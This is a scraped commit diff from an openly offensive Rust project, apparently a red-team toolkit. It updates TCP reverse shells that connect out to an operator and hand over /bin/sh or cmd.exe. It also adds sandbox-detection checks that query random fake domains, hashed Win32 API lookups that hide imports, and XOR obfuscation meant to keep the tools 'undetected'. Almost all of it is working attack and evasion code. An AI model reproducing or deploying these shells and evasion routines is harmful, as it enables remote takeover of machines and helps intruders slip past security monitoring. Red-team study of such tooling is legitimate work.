lpsz_proxy_bypass,
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
let length = rand::thread_rng().gen_range(20..40);
|
||||
let alphanum: String = rand::thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(length)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
let mut full_link: String = "https://www.".to_owned();
|
||||
let link_end: String = ".com".to_owned();
|
||||
full_link.push_str(&alphanum);
|
||||
full_link.push_str(&link_end);
|
||||
|
||||
// See line 111
|
||||
let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap();
|
||||
let mut lpsz_url = PCSTR::null();
|
||||
lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8;
|
||||
let website = unsafe {
|
||||
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>(
|
||||
function,
|
||||
)(internet_handle, lpsz_url, &[], 0, 0)
|
||||
};
|
||||
if website != 0 as _ {
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing)
|
||||
*/
|
||||
|
||||
#[cfg(all(target_os = "linux", feature = "antisand"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
|
||||
*/
|
||||
|
||||
#[cfg(not(feature = "antisand"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Calculate the has of a hashable value
|
||||
*/
|
||||
|
||||
#[cfg(feature = "antistring")]
|
||||
pub fn calculate_hash<T: Hash>(t: &T) -> u64 {
|
||||
let mut s = DefaultHasher::new();
|
||||
t.hash(&mut s);
|
||||
s.finish()
|
||||
}
|
||||
|
||||
/*
|
||||
Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box<dyn Error>> {
|
||||
// Call LoadLibraryA on a DLL to get its base address
|
||||
let mut lib_filename = PCSTR::null();
|
||||
lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8;
|
||||
let library_base = match unsafe { LoadLibraryA(lib_filename) } {
|
||||
Ok(value) => value,
|
||||
Err(_) => panic!("Could not load {lib_filename:?}"),
|
||||
};
|
||||
let library_base_usize = library_base.0 as usize;
|
||||
|
||||
pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Result<*const (), Box<dyn Error>> {
|
||||
// Get a pointer to the DOS header
|
||||
let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER;
|
||||
let dos_header: *const IMAGE_DOS_HEADER = library_base_usize as *const IMAGE_DOS_HEADER;
|
||||
|
||||
// Calculate the address of the image headers
|
||||
let image_headers: *const IMAGE_NT_HEADERS64 = unsafe {
|
||||
@@ -283,26 +162,158 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box
|
||||
return Ok(function_address);
|
||||
}
|
||||
}
|
||||
Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into())
|
||||
Err(format!("Could not find the function '{name_hash:x}'").into())
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! construct_win32_function {
|
||||
// Take in:
|
||||
// one x - the function pointer
|
||||
// zero or more y - the function argument data types
|
||||
// zero or more z - the function return data types
|
||||
(
|
||||
$(
|
||||
$x:expr; [ $( $y:ty ),* ]; [ $( $z:ty ),* ]
|
||||
);*
|
||||
) => {
|
||||
// Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z"
|
||||
// Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html
|
||||
// this is a safe transmute because it will be guaranteed on Windows
|
||||
// So the macro is safe despite the unsafe code
|
||||
unsafe {
|
||||
std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*)
|
||||
}
|
||||
}
|
||||
/*
|
||||
Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antistring"))]
|
||||
pub fn find_library_address(dll: &str) -> Result<usize, Box<dyn Error>> {
|
||||
// Call LoadLibraryA on a DLL to get its base address
|
||||
let lib_filename = PCSTR::from_raw(format!("{dll}\0").as_mut_ptr());
|
||||
let library_base = match unsafe { LoadLibraryA(lib_filename) } {
|
||||
Ok(value) => value,
|
||||
Err(_) => panic!("Could not load {lib_filename:?}"),
|
||||
};
|
||||
|
||||
Ok(library_base.0 as usize)
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Windows implementation - basically looks to see if something fakes a response to a website
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))]
|
||||
pub fn pound_sand() -> bool {
|
||||
// Call InternetOpenA to get a handle that can be used in an actual internet request
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html
|
||||
let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr());
|
||||
let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, PCSTR::null(), PCSTR::null(), 0) };
|
||||
|
||||
// Generate a "website" to search for
|
||||
let length = rand::thread_rng().gen_range(20..40);
|
||||
let alphanum: String = rand::thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(length)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
let mut full_link: String = "https://www.".to_owned();
|
||||
let link_end: String = ".com".to_owned();
|
||||
full_link.push_str(&alphanum);
|
||||
full_link.push_str(&link_end);
|
||||
|
||||
// Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html
|
||||
let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr());
|
||||
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) };
|
||||
if website != 0 as _ {
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website
|
||||
*/
|
||||
|
||||
#[cfg(all(windows, feature = "antisand", feature = "antistring"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
// Get location of Wininet.dll
|
||||
let wininet = find_library_address("Wininet").unwrap();
|
||||
|
||||
// See line 90
|
||||
let function = find_function_address(wininet, 0x4b98c7b42f5ce34f).unwrap();
|
||||
let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr());
|
||||
let internet_handle = unsafe {
|
||||
mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)(
|
||||
lpsz_agent,
|
||||
0,
|
||||
PCSTR::null(),
|
||||
PCSTR::null(),
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
let length = rand::thread_rng().gen_range(20..40);
|
||||
let alphanum: String = rand::thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(length)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
let mut full_link: String = "https://www.".to_owned();
|
||||
let link_end: String = ".com".to_owned();
|
||||
full_link.push_str(&alphanum);
|
||||
full_link.push_str(&link_end);
|
||||
|
||||
// See line 111
|
||||
let function = find_function_address(wininet, 0x275e2d4fe536ed19).unwrap();
|
||||
let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr());
|
||||
let website = unsafe {
|
||||
mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>(
|
||||
function,
|
||||
)(internet_handle, lpsz_url, &[], 0, 0)
|
||||
};
|
||||
if website != 0 as _ {
|
||||
return true;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing)
|
||||
*/
|
||||
|
||||
#[cfg(all(target_os = "linux", feature = "antisand"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
Antisand not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
|
||||
*/
|
||||
|
||||
#[cfg(not(feature = "antisand"))]
|
||||
pub fn pound_sand() -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
/*
|
||||
XOR implementation - takes in a key and a value and outputs the key ^ value byte-bye-byte
|
||||
*/
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
pub fn xor_encrypt_decrypt(key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
let equalilzed = equalize_slice_len(key, text);
|
||||
let key: &[u8] = &equalilzed.0[..];
|
||||
let text: &[u8] = &equalilzed.1[..];
|
||||
xor_u8_slices(key, text)
|
||||
}
|
||||
|
||||
/*
|
||||
XOR not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy
|
||||
*/
|
||||
|
||||
#[cfg(not(feature = "xor"))]
|
||||
pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
Ok(text.to_vec())
|
||||
}
|
||||
|
||||
/*
|
||||
Helper function for XOR - XORs two slices of equal length
|
||||
*/
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
|
||||
if slice_one.len() != slice_two.len() {
|
||||
return Err("The given slices are not the same length".into());
|
||||
}
|
||||
Ok(slice_one
|
||||
.iter()
|
||||
.zip(slice_two.iter())
|
||||
.map(|(&x1, &x2)| x1 ^ x2)
|
||||
.collect())
|
||||
}
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
[package]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.3.1"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
description = "Creates a reverse shell (default to localhost:4444)"
|
||||
documentation = "https://kmanc.github.io/remote_code_oxidation/tcp_reverse_shell.html"
|
||||
edition = "2021"
|
||||
license = "MIT"
|
||||
name = "tcp_reverse_shell"
|
||||
repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/tcp_reverse_shell"
|
||||
rust-version = "1.59"
|
||||
version = "1.5.0"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
@@ -12,11 +16,11 @@ antisand = ["rco_utils/antisand"]
|
||||
antistring = ["rco_utils/antistring"]
|
||||
|
||||
[dependencies]
|
||||
rco_config = {path = "../rco_config"}
|
||||
rco_utils = {path = "../rco_utils"}
|
||||
rco_config = {path = "../rco_config", version = ">=0.2.0"}
|
||||
rco_utils = {path = "../rco_utils", version = ">=1.0.1"}
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows.version = ">=0.40.0"
|
||||
windows.version = ">=0.41.0"
|
||||
windows.features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
use std::net::TcpStream;
|
||||
use std::os::unix::io::{AsRawFd, FromRawFd};
|
||||
use std::os::unix::io::OwnedFd;
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
pub fn shell(ip: &str, port: u16) {
|
||||
@@ -9,14 +9,14 @@ pub fn shell(ip: &str, port: u16) {
|
||||
let stream = TcpStream::connect(ip_port).unwrap();
|
||||
|
||||
// Use the stream as a file descriptor for sending stdin/stdout/stderr
|
||||
let fd = stream.as_raw_fd();
|
||||
let fd = OwnedFd::from(stream);
|
||||
|
||||
// Open shell and set the file descriptor for stdin/stdout/stderr to the stream's file descriptor
|
||||
Command::new("/bin/sh")
|
||||
.arg("-i")
|
||||
.stdin(unsafe { Stdio::from_raw_fd(fd) })
|
||||
.stdout(unsafe { Stdio::from_raw_fd(fd) })
|
||||
.stderr(unsafe { Stdio::from_raw_fd(fd) })
|
||||
.stdin( Stdio::from(fd.try_clone().unwrap()) )
|
||||
.stdout( Stdio::from(fd.try_clone().unwrap()) )
|
||||
.stderr( Stdio::from(fd) )
|
||||
.spawn()
|
||||
.unwrap()
|
||||
.wait()
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
use std::ffi::{c_void, CStr, CString};
|
||||
use std::{mem, ptr, slice};
|
||||
use core::ffi::c_void;
|
||||
use std::mem;
|
||||
use std::ffi::CStr;
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use windows::Win32::Networking::WinSock::{
|
||||
connect, htons, inet_pton, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR_IN,
|
||||
connect, htons, inet_pton, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR, SOCKADDR_IN,
|
||||
SOCKET, SOCK_STREAM, WSADATA,
|
||||
};
|
||||
use windows::Win32::Security::SECURITY_ATTRIBUTES;
|
||||
@@ -49,7 +50,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// This is magic that I don't really understand but seems to work
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
// Create a PCSTR and use the IP string as the 0 field
|
||||
let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8);
|
||||
let ip_pcstr = PCSTR::from_raw(format!("{ip}\0").as_mut_ptr());
|
||||
// Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now
|
||||
let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) };
|
||||
if conversion_result != 1 {
|
||||
@@ -64,14 +65,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// Connect the socket!
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html
|
||||
let sockaddr_slice = unsafe {
|
||||
slice::from_raw_parts(
|
||||
(&sockaddr_in as *const SOCKADDR_IN) as *const u8,
|
||||
mem::size_of::<SOCKADDR_IN>(),
|
||||
)
|
||||
};
|
||||
|
||||
let connection_result = unsafe { connect(socket, sockaddr_slice) };
|
||||
let connection_result = unsafe { connect(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::<SOCKADDR_IN>() as _) };
|
||||
if connection_result != 0 {
|
||||
panic!("Unable to call connect to the remote socket")
|
||||
}
|
||||
@@ -97,11 +91,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
startup_info.hStdOutput = unsafe { *sock_handle };
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_command_line = PSTR(
|
||||
CString::new(format!("{system_dir}\\cmd.exe"))
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8,
|
||||
);
|
||||
let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr());
|
||||
let create_res = unsafe {
|
||||
CreateProcessA(
|
||||
PCSTR::null(),
|
||||
@@ -110,7 +100,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
Some(&SECURITY_ATTRIBUTES::default()),
|
||||
true,
|
||||
PROCESS_CREATION_FLAGS::default(),
|
||||
ptr::null(),
|
||||
None,
|
||||
PCSTR::null(),
|
||||
&startup_info,
|
||||
&mut PROCESS_INFORMATION::default(),
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use std::ffi::{c_void, CStr, CString};
|
||||
use std::ffi::{c_void, CStr};
|
||||
use std::{mem, ptr};
|
||||
use windows::core::{PCSTR, PSTR};
|
||||
use windows::Win32::Foundation::{BOOL, HANDLE};
|
||||
@@ -15,13 +15,16 @@ use windows::Win32::System::Threading::{
|
||||
const WSASTARTUPVAL: u16 = 514;
|
||||
|
||||
pub fn shell(ip: &str, port: u16) {
|
||||
// Get location of Ws2_32.dll
|
||||
let ws2_32 = rco_utils::find_library_address("Ws2_32").unwrap();
|
||||
|
||||
// See line 15
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap();
|
||||
let function = rco_utils::find_function_address(ws2_32, 0xedf45b56dba24418).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [u16, &mut WSADATA]; [()]);
|
||||
unsafe { function(WSASTARTUPVAL, &mut WSADATA::default()) };
|
||||
|
||||
// See line 28
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap();
|
||||
let function = rco_utils::find_function_address(ws2_32, 0xad51563d572a6798).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]);
|
||||
let socket = unsafe {
|
||||
function(
|
||||
@@ -35,23 +38,23 @@ pub fn shell(ip: &str, port: u16) {
|
||||
};
|
||||
|
||||
// See line 42
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap();
|
||||
let function = rco_utils::find_function_address(ws2_32, 0xf6d69fad519d46a0).unwrap();
|
||||
let mut sockaddr_in = SOCKADDR_IN {
|
||||
sin_family: AF_INET.0 as u16,
|
||||
..Default::default()
|
||||
};
|
||||
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
|
||||
let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8);
|
||||
let ip_pcstr = PCSTR::from_raw(format!("{ip}\0").as_mut_ptr());
|
||||
let function = rco_utils::construct_win32_function!(function; [i32, PCSTR, *mut c_void]; [i32]);
|
||||
unsafe { function(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) };
|
||||
|
||||
// See line 68
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap();
|
||||
let function = rco_utils::find_function_address(ws2_32, 0x57420f0d05112fd1).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [u16]; [u16]);
|
||||
sockaddr_in.sin_port = unsafe { function(port) };
|
||||
|
||||
// See line 77
|
||||
let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap();
|
||||
let function = rco_utils::find_function_address(ws2_32, 0xcbfa974b4e43f414).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]);
|
||||
unsafe {
|
||||
function(
|
||||
@@ -61,8 +64,11 @@ pub fn shell(ip: &str, port: u16) {
|
||||
)
|
||||
};
|
||||
|
||||
// Get location of Ws2_32.dll
|
||||
let kernel32 = rco_utils::find_library_address("Kernel32").unwrap();
|
||||
|
||||
// See line 91
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x9822936f60f9a914).unwrap();
|
||||
let lp_buffer: &mut [u8] = &mut [0; 50];
|
||||
let function = rco_utils::construct_win32_function!(function; [&mut [u8]]; [()]);
|
||||
unsafe { function(lp_buffer) };
|
||||
@@ -70,7 +76,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
let system_dir = system_dir.to_str().unwrap();
|
||||
|
||||
// See line 103
|
||||
let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap();
|
||||
let function = rco_utils::find_function_address(kernel32, 0x6fe222ff0e96f5c4).unwrap();
|
||||
let mut startup_info = STARTUPINFOA {
|
||||
cb: mem::size_of::<STARTUPINFOA>() as u32,
|
||||
dwFlags: STARTF_USESTDHANDLES,
|
||||
@@ -81,11 +87,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
startup_info.hStdOutput = unsafe { *sock_handle };
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
let lp_command_line = PSTR(
|
||||
CString::new(format!("{system_dir}\\cmd.exe"))
|
||||
.unwrap()
|
||||
.into_raw() as *mut u8,
|
||||
);
|
||||
let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr());
|
||||
let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]);
|
||||
unsafe {
|
||||
function(
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
[package]
|
||||
name = "xor_params"
|
||||
version = "1.2.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
edition = "2021"
|
||||
name = "xor_params"
|
||||
rust-version = "1.59"
|
||||
version = "1.2.0"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
|
||||
Reference in New Issue
Block a user